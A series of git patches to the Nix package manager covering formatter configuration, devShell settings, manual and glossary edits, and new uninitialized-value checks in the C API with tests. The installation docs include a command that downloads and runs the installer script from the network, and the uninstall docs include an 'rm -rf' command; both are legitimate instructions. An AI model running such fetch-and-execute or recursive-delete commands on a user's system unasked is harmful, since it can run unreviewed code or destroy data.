+        ''^src/libutil/signature/local-keys\.hh$''
+        ''^src/libutil/signature/signer\.cc$''
+        ''^src/libutil/signature/signer\.hh$''
+        ''^src/libutil/source-accessor\.cc$''
+        ''^src/libutil/source-accessor\.hh$''
+        ''^src/libutil/source-path\.cc$''
+        ''^src/libutil/source-path\.hh$''
+        ''^src/libutil/split\.hh$''
+        ''^src/libutil/suggestions\.cc$''
+        ''^src/libutil/suggestions\.hh$''
+        ''^src/libutil/sync\.hh$''
+        ''^src/libutil/terminal\.cc$''
+        ''^src/libutil/terminal\.hh$''
+        ''^src/libutil/thread-pool\.cc$''
+        ''^src/libutil/thread-pool\.hh$''
+        ''^src/libutil/topo-sort\.hh$''
+        ''^src/libutil/types\.hh$''
+        ''^src/libutil/unix/file-descriptor\.cc$''
+        ''^src/libutil/unix/file-path\.cc$''
+        ''^src/libutil/unix/monitor-fd\.hh$''
+        ''^src/libutil/unix/processes\.cc$''
+        ''^src/libutil/unix/signals-impl\.hh$''
+        ''^src/libutil/unix/signals\.cc$''
+        ''^src/libutil/unix/unix-domain-socket\.cc$''
+        ''^src/libutil/unix/users\.cc$''
+        ''^src/libutil/url-parts\.hh$''
+        ''^src/libutil/url\.cc$''
+        ''^src/libutil/url\.hh$''
+        ''^src/libutil/users\.cc$''
+        ''^src/libutil/users\.hh$''
+        ''^src/libutil/util\.cc$''
+        ''^src/libutil/util\.hh$''
+        ''^src/libutil/variant-wrapper\.hh$''
+        ''^src/libutil/windows/environment-variables\.cc$''
+        ''^src/libutil/windows/file-descriptor\.cc$''
+        ''^src/libutil/windows/file-path\.cc$''
+        ''^src/libutil/windows/processes\.cc$''
+        ''^src/libutil/windows/users\.cc$''
+        ''^src/libutil/windows/windows-error\.cc$''
+        ''^src/libutil/windows/windows-error\.hh$''
+        ''^src/libutil/xml-writer\.cc$''
+        ''^src/libutil/xml-writer\.hh$''
+        ''^src/nix-build/nix-build\.cc$''
+        ''^src/nix-channel/nix-channel\.cc$''
+        ''^src/nix-collect-garbage/nix-collect-garbage\.cc$''
+        ''^src/nix-env/buildenv.nix$''
+        ''^src/nix-env/nix-env\.cc$''
+        ''^src/nix-env/user-env\.cc$''
+        ''^src/nix-env/user-env\.hh$''
+        ''^src/nix-instantiate/nix-instantiate\.cc$''
+        ''^src/nix-store/dotgraph\.cc$''
+        ''^src/nix-store/graphml\.cc$''
+        ''^src/nix-store/nix-store\.cc$''
+        ''^src/nix/add-to-store\.cc$''
+        ''^src/nix/app\.cc$''
+        ''^src/nix/build\.cc$''
+        ''^src/nix/bundle\.cc$''
+        ''^src/nix/cat\.cc$''
+        ''^src/nix/config-check\.cc$''
+        ''^src/nix/config\.cc$''
+        ''^src/nix/copy\.cc$''
+        ''^src/nix/derivation-add\.cc$''
+        ''^src/nix/derivation-show\.cc$''
+        ''^src/nix/derivation\.cc$''
+        ''^src/nix/develop\.cc$''
+        ''^src/nix/diff-closures\.cc$''
+        ''^src/nix/dump-path\.cc$''
+        ''^src/nix/edit\.cc$''
+        ''^src/nix/eval\.cc$''
+        ''^src/nix/flake\.cc$''
+        ''^src/nix/fmt\.cc$''
+        ''^src/nix/hash\.cc$''
+        ''^src/nix/log\.cc$''
+        ''^src/nix/ls\.cc$''
+        ''^src/nix/main\.cc$''
+        ''^src/nix/make-content-addressed\.cc$''
+        ''^src/nix/nar\.cc$''
+        ''^src/nix/optimise-store\.cc$''
+        ''^src/nix/path-from-hash-part\.cc$''
+        ''^src/nix/path-info\.cc$''
+        ''^src/nix/prefetch\.cc$''
+        ''^src/nix/profile\.cc$''
+        ''^src/nix/realisation\.cc$''
+        ''^src/nix/registry\.cc$''
+        ''^src/nix/repl\.cc$''
+        ''^src/nix/run\.cc$''
+        ''^src/nix/run\.hh$''
+        ''^src/nix/search\.cc$''
+        ''^src/nix/sigs\.cc$''
+        ''^src/nix/store-copy-log\.cc$''
+        ''^src/nix/store-delete\.cc$''
+        ''^src/nix/store-gc\.cc$''
+        ''^src/nix/store-info\.cc$''
+        ''^src/nix/store-repair\.cc$''
+        ''^src/nix/store\.cc$''
+        ''^src/nix/unix/daemon\.cc$''
+        ''^src/nix/upgrade-nix\.cc$''
+        ''^src/nix/verify\.cc$''
+        ''^src/nix/why-depends\.cc$''
+      ];
+    };
+
+  };
+
+  # We'll be pulling from this in the main flake
+  flake.getSystem = getSystem;
+}
diff --git a/maintainers/local.mk b/maintainers/local.mk
new file mode 100644
index 00000000000..88d594d67d8
--- /dev/null
+++ b/maintainers/local.mk
@@ -0,0 +1,15 @@
+
+.PHONY: format
+print-top-help += echo '  format: Format source code'
+
+# This uses the cached .pre-commit-hooks.yaml file
+format:
+	@if ! type -p pre-commit &>/dev/null; then \
+	  echo "make format: pre-commit not found. Please use \`nix develop\`."; \
+	  exit 1; \
+	fi; \
+	if test -z "$$_NIX_PRE_COMMIT_HOOKS_CONFIG"; then \
+	  echo "make format: _NIX_PRE_COMMIT_HOOKS_CONFIG not set. Please use \`nix develop\`."; \
+	  exit 1; \
+	fi; \
+	pre-commit run --config $$_NIX_PRE_COMMIT_HOOKS_CONFIG --all-files
diff --git a/package.nix b/package.nix
index 1e5b9e449b3..d11743427a6 100644
--- a/package.nix
+++ b/package.nix
@@ -167,6 +167,8 @@ in {
           ./m4
           # TODO: do we really need README.md? It doesn't seem used in the build.
           ./README.md
+          # This could be put behind a conditional
+          ./maintainers/local.mk
           # For make, regardless of what we are building
           ./local.mk
           ./Makefile

From 8f042a5e6d78719986293f94be8f51cc47494a25 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Thu, 18 Apr 2024 22:49:13 +0200
Subject: [PATCH 032/528] pre-commit: Remove nixpkgs-fmt

---
 maintainers/flake-module.nix | 20 +-------------------
 1 file changed, 1 insertion(+), 19 deletions(-)

diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
index ae78d43842b..2ea94e9d932 100644
--- a/maintainers/flake-module.nix
+++ b/maintainers/flake-module.nix
@@ -11,7 +11,7 @@
     pre-commit.settings = {
       hooks = {
         clang-format.enable = true;
-        nixpkgs-fmt.enable = true;
+        # TODO: nixfmt, https://github.com/NixOS/nixfmt/issues/153
       };
 
       excludes = [
@@ -25,23 +25,9 @@
         ''^doc/manual/theme/highlight\.js$''
 
         # We haven't applied formatting to these files yet
-        ''^doc/manual/generate-manpage\.nix$''
-        ''^doc/manual/generate-settings\.nix$''
-        ''^doc/manual/generate-store-info\.nix$''
-        ''^doc/manual/generate-xp-features-shortlist\.nix$''
         ''^doc/manual/redirects\.js$''
         ''^doc/manual/theme/highlight\.js$''
-        ''^doc/manual/utils\.nix$''
-        ''^docker\.nix$''
-        ''^flake\.nix$''
-        ''^maintainers/flake-module\.nix$''
-        ''^maintainers/flake-module\.nix$''
-        ''^misc/changelog-d\.cabal\.nix$''
-        ''^misc/changelog-d\.nix$''
-        ''^package\.nix$''
-        ''^perl/default\.nix$''
         ''^precompiled-headers\.h$''
-        ''^scripts/installer\.nix$''
         ''^src/build-remote/build-remote\.cc$''
         ''^src/libcmd/built-path\.cc$''
         ''^src/libcmd/built-path\.hh$''
@@ -81,8 +67,6 @@
         ''^src/libexpr/eval-settings\.hh$''
         ''^src/libexpr/eval\.cc$''
         ''^src/libexpr/eval\.hh$''
-        ''^src/libexpr/fetchurl\.nix$''
-        ''^src/libexpr/flake/call-flake\.nix$''
         ''^src/libexpr/flake/config\.cc$''
         ''^src/libexpr/flake/flake\.cc$''
         ''^src/libexpr/flake/flake\.hh$''
@@ -95,7 +79,6 @@
         ''^src/libexpr/gc-small-vector\.hh$''
         ''^src/libexpr/get-drvs\.cc$''
         ''^src/libexpr/get-drvs\.hh$''
-        ''^src/libexpr/imported-drv-to-derivation\.nix$''
         ''^src/libexpr/json-to-value\.cc$''
         ''^src/libexpr/nixexpr\.cc$''
         ''^src/libexpr/nixexpr\.hh$''
@@ -104,7 +87,6 @@
         ''^src/libexpr/primops\.cc$''
         ''^src/libexpr/primops\.hh$''
         ''^src/libexpr/primops/context\.cc$''
-        ''^src/libexpr/primops/derivation\.nix$''
         ''^src/libexpr/primops/fetchClosure\.cc$''
         ''^src/libexpr/primops/fetchMercurial\.cc$''
         ''^src/libexpr/primops/fetchTree\.cc$''

From 96c8a9a417bf005d0764421c0e937079d9ad035e Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Thu, 18 Apr 2024 23:32:31 +0200
Subject: [PATCH 033/528] devShells: Prefix shell-for-

Without this, it's not clear from an error trace that it's the
shell that's evaluated. It would look like evaluating the nix
package.
---
 flake.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/flake.nix b/flake.nix
index 15aa8d3b5ed..5352aced9ee 100644
--- a/flake.nix
+++ b/flake.nix
@@ -430,6 +430,7 @@
         let
           modular = devFlake.getSystem stdenv.buildPlatform.system;
         in {
+          pname = "shell-for-" + attrs.pname;
           installFlags = "sysconfdir=$(out)/etc";
           shellHook = ''
             PATH=$prefix/bin:$PATH

From a3ff75fd7efa1d0829ee7fd825636be9980da4bf Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Thu, 18 Apr 2024 23:45:00 +0200
Subject: [PATCH 034/528] devShells: null out src to avoid nix develop rebuild

Whenever src changed, nix develop would internally create a fresh
derivation, which it has to try and substitute and then build.
Let's not do that.
---
 flake.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/flake.nix b/flake.nix
index 5352aced9ee..d9b0c63b56f 100644
--- a/flake.nix
+++ b/flake.nix
@@ -441,6 +441,9 @@
             XDG_DATA_DIRS+=:$out/share
           '';
 
+          # We use this shell with the local checkout, not unpackPhase.
+          src = null;
+
           env = {
             # For `make format`, to work without installing pre-commit
             _NIX_PRE_COMMIT_HOOKS_CONFIG =

From b5f1d4cce990ca2bce52af9757235f60edbddc5a Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sun, 21 Apr 2024 13:52:56 +0200
Subject: [PATCH 035/528] Edit docs

---
 doc/manual/src/contributing/hacking.md | 8 ++++----
 flake.nix                              | 3 ++-
 2 files changed, 6 insertions(+), 5 deletions(-)

diff --git a/doc/manual/src/contributing/hacking.md b/doc/manual/src/contributing/hacking.md
index 61c513a15a6..08ba84faa53 100644
--- a/doc/manual/src/contributing/hacking.md
+++ b/doc/manual/src/contributing/hacking.md
@@ -273,7 +273,7 @@ Configure your editor to use the `clangd` from the `.#native-clangStdenvPackages
 > Some other editors (e.g. Emacs, Vim) need a plugin to support LSP servers in general (e.g. [lsp-mode](https://github.com/emacs-lsp/lsp-mode) for Emacs and [vim-lsp](https://github.com/prabirshrestha/vim-lsp) for vim).
 > Editor-specific setup is typically opinionated, so we will not cover it here in more detail.
 
-## Formatting and pre-commit
+## Formatting and pre-commit hooks
 
 You may run the formatters as a one-off using:
 
@@ -292,9 +292,9 @@ This installs [pre-commit](https://pre-commit.com) using [cachix/git-hooks.nix](
 When making a commit, pay attention to the console output.
 If it fails, run `git add --patch` to approve the suggestions _and commit again_.
 
-To refresh the config, do the following:
-- if you use `make format`: stop and start your `nix develop` shell.
-- if you use the pre-commit hook: stop and start, and run `pre-commit-hooks-install` again.
+To refresh pre-commit hook's config file, do the following:
+1. Exit the development shell and start it again by running `nix develop`.
+2. If you also use the pre-commit hook, also run `pre-commit-hooks-install` again.
 
 ## Add a release note
 
diff --git a/flake.nix b/flake.nix
index d9b0c63b56f..2795172bbfb 100644
--- a/flake.nix
+++ b/flake.nix
@@ -209,7 +209,8 @@
             inherit fileset stdenv;
           };
 
-          # https://github.com/NixOS/nixpkgs/pull/214409
+          # See https://github.com/NixOS/nixpkgs/pull/214409
+          # Remove when fixed in this flake's nixpkgs
           pre-commit =
             if prev.stdenv.hostPlatform.system == "i686-linux"
             then (prev.pre-commit.override (o: { dotnet-sdk = ""; })).overridePythonAttrs (o: { doCheck = false; })

From 73125e46fcdc5608ef70439acaf8b13850a4ef4d Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Fri, 19 Apr 2024 18:54:31 +0200
Subject: [PATCH 036/528] doc/glossary: Add base directory

---
 doc/manual/src/glossary.md     | 19 +++++++++++++++++++
 src/libcmd/common-eval-args.hh |  3 +++
 src/libexpr/flake/flakeref.hh  | 15 +++++++++++++++
 src/libutil/args.hh            |  2 +-
 4 files changed, 38 insertions(+), 1 deletion(-)

diff --git a/doc/manual/src/glossary.md b/doc/manual/src/glossary.md
index 66e4628c0dd..88916bb5084 100644
--- a/doc/manual/src/glossary.md
+++ b/doc/manual/src/glossary.md
@@ -295,6 +295,25 @@
   [path]: ./language/values.md#type-path
   [attribute name]: ./language/values.md#attribute-set
 
+- [base directory]{#gloss-base-directory}
+
+  The location from which relative paths are resolved.
+
+  - For expressions in a file, the base directory is the directory containing that file.
+    This is analogous to the directory of a [base URL](https://datatracker.ietf.org/doc/html/rfc1808#section-3.3).
+    <!-- which is sufficient for resolving non-empty URLs -->
+
+  <!--
+    The wording here may look awkward, but it's for these reasons:
+      * "with --expr": it's a flag, and not an option with an accompanying value
+      * "written in": the expression itself must be written as an argument,
+        whereas the more natural "passed as an argument" allows an interpretation
+        where the expression could be passed by file name.
+    -->
+  - For expressions written in command line arguments with [`--expr`](@docroot@/command-ref/opt-common.html#opt-expr), the base directory is the current working directory.
+
+  [base directory]: #gloss-base-directory
+
 - [experimental feature]{#gloss-experimental-feature}
 
   Not yet stabilized functionality guarded by named experimental feature flags.
diff --git a/src/libcmd/common-eval-args.hh b/src/libcmd/common-eval-args.hh
index 25ce5b9dada..0cb9ddbca38 100644
--- a/src/libcmd/common-eval-args.hh
+++ b/src/libcmd/common-eval-args.hh
@@ -38,6 +38,9 @@ private:
     std::map<std::string, AutoArg> autoArgs;
 };
 
+/**
+ * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory)
+ */
 SourcePath lookupFileArg(EvalState & state, std::string_view s, const Path * baseDir = nullptr);
 
 }
diff --git a/src/libexpr/flake/flakeref.hh b/src/libexpr/flake/flakeref.hh
index 5d78f49b683..04c812ed099 100644
--- a/src/libexpr/flake/flakeref.hh
+++ b/src/libexpr/flake/flakeref.hh
@@ -68,24 +68,39 @@ struct FlakeRef
 
 std::ostream & operator << (std::ostream & str, const FlakeRef & flakeRef);
 
+/**
+ * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory)
+ */
 FlakeRef parseFlakeRef(
     const std::string & url,
     const std::optional<Path> & baseDir = {},
     bool allowMissing = false,
     bool isFlake = true);
 
+/**
+ * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory)
+ */
 std::optional<FlakeRef> maybeParseFlake(
     const std::string & url, const std::optional<Path> & baseDir = {});
 
+/**
+ * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory)
+ */
 std::pair<FlakeRef, std::string> parseFlakeRefWithFragment(
     const std::string & url,
     const std::optional<Path> & baseDir = {},
     bool allowMissing = false,
     bool isFlake = true);
 
+/**
+ * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory)
+ */
 std::optional<std::pair<FlakeRef, std::string>> maybeParseFlakeRefWithFragment(
     const std::string & url, const std::optional<Path> & baseDir = {});
 
+/**
+ * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory)
+ */
 std::tuple<FlakeRef, std::string, ExtendedOutputsSpec> parseFlakeRefWithFragmentAndExtendedOutputsSpec(
     const std::string & url,
     const std::optional<Path> & baseDir = {},
diff --git a/src/libutil/args.hh b/src/libutil/args.hh
index 4b2e1d96055..7759b74a93c 100644
--- a/src/libutil/args.hh
+++ b/src/libutil/args.hh
@@ -41,7 +41,7 @@ public:
     virtual std::string doc() { return ""; }
 
     /**
-     * @brief Get the base directory for the command.
+     * @brief Get the [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) for the command.
      *
      * @return Generally the working directory, but in case of a shebang
      *         interpreter, returns the directory of the script.

From e8d267ad5b29c6c128648a24ad2b156ce966c7b1 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Fri, 19 Apr 2024 18:57:25 +0200
Subject: [PATCH 037/528] doc/values: Refer to base directory

---
 doc/manual/src/language/values.md | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/doc/manual/src/language/values.md b/doc/manual/src/language/values.md
index 568542c0bcc..d4338e91e89 100644
--- a/doc/manual/src/language/values.md
+++ b/doc/manual/src/language/values.md
@@ -97,8 +97,8 @@
   is not a path: it's parsed as an expression that selects the
   attribute `sh` from the variable `builder`. If the file name is
   relative, i.e., if it does not begin with a slash, it is made
-  absolute at parse time relative to the directory of the Nix
-  expression that contained it. For instance, if a Nix expression in
+  absolute at parse time relative to the [base directory](@docroot@/glossary.md#gloss-base-directory).
+  For instance, if a Nix expression in
   `/foo/bar/bla.nix` refers to `../xyzzy/fnord.nix`, the absolute path
   is `/foo/xyzzy/fnord.nix`.
 
@@ -107,7 +107,7 @@
   e.g. `~/foo` would be equivalent to `/home/edolstra/foo` for a user
   whose home directory is `/home/edolstra`.
 
-  For instance, evaluating `"${./foo.txt}"` will cause `foo.txt` in the current directory to be copied into the Nix store and result in the string `"/nix/store/<hash>-foo.txt"`.
+  For instance, evaluating `"${./foo.txt}"` will cause `foo.txt` in the base directory to be copied into the Nix store and result in the string `"/nix/store/<hash>-foo.txt"`.
 
   Note that the Nix language assumes that all input files will remain _unchanged_ while  evaluating a Nix expression.
   For example, assume you used a file path in an interpolated string during a `nix repl` session.

From 722dfe9908b43a29b9b1175851db9653dfd7fbff Mon Sep 17 00:00:00 2001
From: Andrey Butirsky <butirsky@gmail.com>
Date: Sun, 21 Apr 2024 16:24:09 +0300
Subject: [PATCH 038/528] Update installing-binary.md: give TTY to the
 installer

Run the installer with TTY so the process can go interactively
---
 doc/manual/src/installation/installing-binary.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doc/manual/src/installation/installing-binary.md b/doc/manual/src/installation/installing-binary.md
index 0dc9891598a..385008d8c16 100644
--- a/doc/manual/src/installation/installing-binary.md
+++ b/doc/manual/src/installation/installing-binary.md
@@ -50,7 +50,7 @@ Supported systems:
 To explicitly instruct the installer to perform a multi-user installation on your system:
 
 ```console
-$ curl -L https://nixos.org/nix/install | sh -s -- --daemon
+$ bash <(curl -L https://nixos.org/nix/install) --daemon
 ```
 
 You can run this under your usual user account or `root`.
@@ -61,7 +61,7 @@ The script will invoke `sudo` as needed.
 To explicitly select a single-user installation on your system:
 
 ```console
-$ curl -L https://nixos.org/nix/install | sh -s -- --no-daemon
+$ bash <(curl -L https://nixos.org/nix/install) --no-daemon
 ```
 
 In a single-user installation, `/nix` is owned by the invoking user.

From d4b44a41fbc54e7353764836e0203f044d98a413 Mon Sep 17 00:00:00 2001
From: Andrey Butirsky <butirsky@gmail.com>
Date: Sun, 21 Apr 2024 16:46:03 +0300
Subject: [PATCH 039/528] Update uninstall.md: mention .profile

~/.profile is auto-edited by the single-mode installer so we should mention it in the uninstall instructions
---
 doc/manual/src/installation/uninstall.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/doc/manual/src/installation/uninstall.md b/doc/manual/src/installation/uninstall.md
index 9ead5e53c5c..f682bb00f6f 100644
--- a/doc/manual/src/installation/uninstall.md
+++ b/doc/manual/src/installation/uninstall.md
@@ -7,6 +7,7 @@ If you have a [single-user installation](./installing-binary.md#single-user-inst
 ```console
 $ rm -rf /nix
 ```
+You might also want to manually remove reference to Nix from your `~/.profile`.
 
 ## Multi User
 

From a6d08e3502eaed57b66a0167226b58ba4098ee14 Mon Sep 17 00:00:00 2001
From: Andrey Butirsky <butirsky@gmail.com>
Date: Sun, 21 Apr 2024 17:08:37 +0300
Subject: [PATCH 040/528] Update uninstall.md: remove ~/.nix-* files also

---
 doc/manual/src/installation/uninstall.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doc/manual/src/installation/uninstall.md b/doc/manual/src/installation/uninstall.md
index f682bb00f6f..0465ee5bbc7 100644
--- a/doc/manual/src/installation/uninstall.md
+++ b/doc/manual/src/installation/uninstall.md
@@ -5,7 +5,7 @@
 If you have a [single-user installation](./installing-binary.md#single-user-installation) of Nix, uninstall it by running:
 
 ```console
-$ rm -rf /nix
+$ rm -rf /nix ~/.nix-channels ~/.nix-defexpr ~/.nix-profile
 ```
 You might also want to manually remove reference to Nix from your `~/.profile`.
 

From 5cc4af5231608d0d85d120c20bd9bbc9da9338fa Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= <jl@lafuente.dev>
Date: Thu, 18 Apr 2024 20:05:59 +0200
Subject: [PATCH 041/528] Add isInitialized to nix::Value

Add a method to check if a value has been initialized. This helps avoid
segfaults when calling `type()`.
Useful in the context of the new C API.

Closes #10524
---
 src/libexpr/value.hh              |  9 ++++++++-
 tests/unit/libexpr/value/value.cc | 25 +++++++++++++++++++++++++
 2 files changed, 33 insertions(+), 1 deletion(-)
 create mode 100644 tests/unit/libexpr/value/value.cc

diff --git a/src/libexpr/value.hh b/src/libexpr/value.hh
index 7ed3fa5a9ff..a1003e16bcd 100644
--- a/src/libexpr/value.hh
+++ b/src/libexpr/value.hh
@@ -23,6 +23,7 @@ class BindingsBuilder;
 
 
 typedef enum {
+    tUnset,
     tInt = 1,
     tBool,
     tString,
@@ -166,7 +167,7 @@ public:
 struct Value
 {
 private:
-    InternalType internalType;
+    InternalType internalType = tUnset;
 
     friend std::string showType(const Value & v);
 
@@ -270,6 +271,7 @@ public:
     inline ValueType type(bool invalidIsThunk = false) const
     {
         switch (internalType) {
+            case tUnset: break;
             case tInt: return nInt;
             case tBool: return nBool;
             case tString: return nString;
@@ -294,6 +296,11 @@ public:
         internalType = newType;
     }
 
+    inline bool isInitialized()
+    {
+        return internalType != tUnset;
+    }
+
     inline void mkInt(NixInt n)
     {
         finishValue(tInt, { .integer = n });
diff --git a/tests/unit/libexpr/value/value.cc b/tests/unit/libexpr/value/value.cc
new file mode 100644
index 00000000000..49a896c8770
--- /dev/null
+++ b/tests/unit/libexpr/value/value.cc
@@ -0,0 +1,25 @@
+#include "value.hh"
+
+#include "tests/libstore.hh"
+
+namespace nix {
+
+class ValueTest : public LibStoreTest
+{};
+
+TEST_F(ValueTest, unsetValue)
+{
+    Value unsetValue;
+    ASSERT_EQ(false, unsetValue.isInitialized());
+    ASSERT_EQ(nThunk, unsetValue.type(true));
+    ASSERT_DEATH(unsetValue.type(), "");
+}
+
+TEST_F(ValueTest, vInt)
+{
+    Value vInt;
+    vInt.mkInt(42);
+    ASSERT_EQ(true, vInt.isInitialized());
+}
+
+} // namespace nix

From 9d7dee4a8f279ffd220d41d05a651761ed10d3be Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= <jl@lafuente.dev>
Date: Sat, 20 Apr 2024 14:15:05 +0200
Subject: [PATCH 042/528] nix::Value: Use more descriptive names

---
 src/libexpr/value.hh              | 15 ++++++++++-----
 tests/unit/libexpr/value/value.cc |  4 ++--
 2 files changed, 12 insertions(+), 7 deletions(-)

diff --git a/src/libexpr/value.hh b/src/libexpr/value.hh
index a1003e16bcd..5795f04cfba 100644
--- a/src/libexpr/value.hh
+++ b/src/libexpr/value.hh
@@ -23,7 +23,7 @@ class BindingsBuilder;
 
 
 typedef enum {
-    tUnset,
+    tUninitialized = 0,
     tInt = 1,
     tBool,
     tString,
@@ -167,7 +167,7 @@ public:
 struct Value
 {
 private:
-    InternalType internalType = tUnset;
+    InternalType internalType = tUninitialized;
 
     friend std::string showType(const Value & v);
 
@@ -271,7 +271,7 @@ public:
     inline ValueType type(bool invalidIsThunk = false) const
     {
         switch (internalType) {
-            case tUnset: break;
+            case tUninitialized: break;
             case tInt: return nInt;
             case tBool: return nBool;
             case tString: return nString;
@@ -296,9 +296,14 @@ public:
         internalType = newType;
     }
 
-    inline bool isInitialized()
+    /**
+     * A value becomes valid when it is initialized. We don't use this
+     * in the evaluator; only in the bindings, where the slight extra
+     * cost is warranted because of inexperienced callers.
+     */
+    inline bool isValid() const
     {
-        return internalType != tUnset;
+        return internalType != tUninitialized;
     }
 
     inline void mkInt(NixInt n)
diff --git a/tests/unit/libexpr/value/value.cc b/tests/unit/libexpr/value/value.cc
index 49a896c8770..5762d5891f8 100644
--- a/tests/unit/libexpr/value/value.cc
+++ b/tests/unit/libexpr/value/value.cc
@@ -10,7 +10,7 @@ class ValueTest : public LibStoreTest
 TEST_F(ValueTest, unsetValue)
 {
     Value unsetValue;
-    ASSERT_EQ(false, unsetValue.isInitialized());
+    ASSERT_EQ(false, unsetValue.isValid());
     ASSERT_EQ(nThunk, unsetValue.type(true));
     ASSERT_DEATH(unsetValue.type(), "");
 }
@@ -19,7 +19,7 @@ TEST_F(ValueTest, vInt)
 {
     Value vInt;
     vInt.mkInt(42);
-    ASSERT_EQ(true, vInt.isInitialized());
+    ASSERT_EQ(true, vInt.isValid());
 }
 
 } // namespace nix

From ccad6e94e2d79241c0eab0d9f708bcd30155e840 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= <jl@lafuente.dev>
Date: Sat, 20 Apr 2024 22:09:32 +0200
Subject: [PATCH 043/528] C API: add (un)initialized value checks

---
 src/libexpr-c/nix_api_value.cc                | 46 ++++++++-
 tests/unit/libexpr/nix_api_value.cc           | 95 ++++++++++++++-----
 .../libutil-support/tests/nix_api_util.hh     | 13 ++-
 3 files changed, 129 insertions(+), 25 deletions(-)

diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc
index 2550e975ad7..a3686022d91 100644
--- a/src/libexpr-c/nix_api_value.cc
+++ b/src/libexpr-c/nix_api_value.cc
@@ -20,7 +20,7 @@
 #  include "gc_cpp.h"
 #endif
 
-// Helper function to throw an exception if value is null
+// Helper function to throw an exception if value is null or in an invalid state
 static const nix::Value & check_value_not_null(const Value * value)
 {
     if (!value) {
@@ -37,6 +37,20 @@ static nix::Value & check_value_not_null(Value * value)
     return *((nix::Value *) value);
 }
 
+static void check_value_initialized(const nix::Value & value)
+{
+    if (!value.isValid()) {
+        throw std::runtime_error("Uninitialized Value");
+    }
+}
+
+static void check_value_uninitialized(const nix::Value & value)
+{
+    if (value.isValid()) {
+        throw std::runtime_error("Value already initialized. Variables are immutable");
+    }
+}
+
 /**
  * Helper function to convert calls from nix into C API.
  *
@@ -112,6 +126,7 @@ ValueType nix_get_type(nix_c_context * context, const Value * value)
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_initialized(v);
         using namespace nix;
         switch (v.type()) {
         case nThunk:
@@ -148,6 +163,7 @@ const char * nix_get_typename(nix_c_context * context, const Value * value)
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_initialized(v);
         auto s = nix::showType(v);
         return strdup(s.c_str());
     }
@@ -160,6 +176,7 @@ bool nix_get_bool(nix_c_context * context, const Value * value)
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_initialized(v);
         assert(v.type() == nix::nBool);
         return v.boolean();
     }
@@ -172,6 +189,7 @@ nix_err nix_get_string(nix_c_context * context, const Value * value, nix_get_str
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_initialized(v);
         assert(v.type() == nix::nString);
         call_nix_get_string_callback(v.c_str(), callback, user_data);
     }
@@ -184,6 +202,7 @@ const char * nix_get_path_string(nix_c_context * context, const Value * value)
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_initialized(v);
         assert(v.type() == nix::nPath);
         // NOTE (from @yorickvP)
         // v._path.path should work but may not be how Eelco intended it.
@@ -203,6 +222,7 @@ unsigned int nix_get_list_size(nix_c_context * context, const Value * value)
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_initialized(v);
         assert(v.type() == nix::nList);
         return v.listSize();
     }
@@ -215,6 +235,7 @@ unsigned int nix_get_attrs_size(nix_c_context * context, const Value * value)
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_initialized(v);
         assert(v.type() == nix::nAttrs);
         return v.attrs()->size();
     }
@@ -227,6 +248,7 @@ double nix_get_float(nix_c_context * context, const Value * value)
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_initialized(v);
         assert(v.type() == nix::nFloat);
         return v.fpoint();
     }
@@ -239,6 +261,7 @@ int64_t nix_get_int(nix_c_context * context, const Value * value)
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_initialized(v);
         assert(v.type() == nix::nInt);
         return v.integer();
     }
@@ -251,6 +274,7 @@ ExternalValue * nix_get_external(nix_c_context * context, Value * value)
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_initialized(v);
         assert(v.type() == nix::nExternal);
         return (ExternalValue *) v.external();
     }
@@ -263,6 +287,7 @@ Value * nix_get_list_byidx(nix_c_context * context, const Value * value, EvalSta
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_initialized(v);
         assert(v.type() == nix::nList);
         auto * p = v.listElems()[ix];
         nix_gc_incref(nullptr, p);
@@ -279,6 +304,7 @@ Value * nix_get_attr_byname(nix_c_context * context, const Value * value, EvalSt
         context->last_err_code = NIX_OK;
     try {
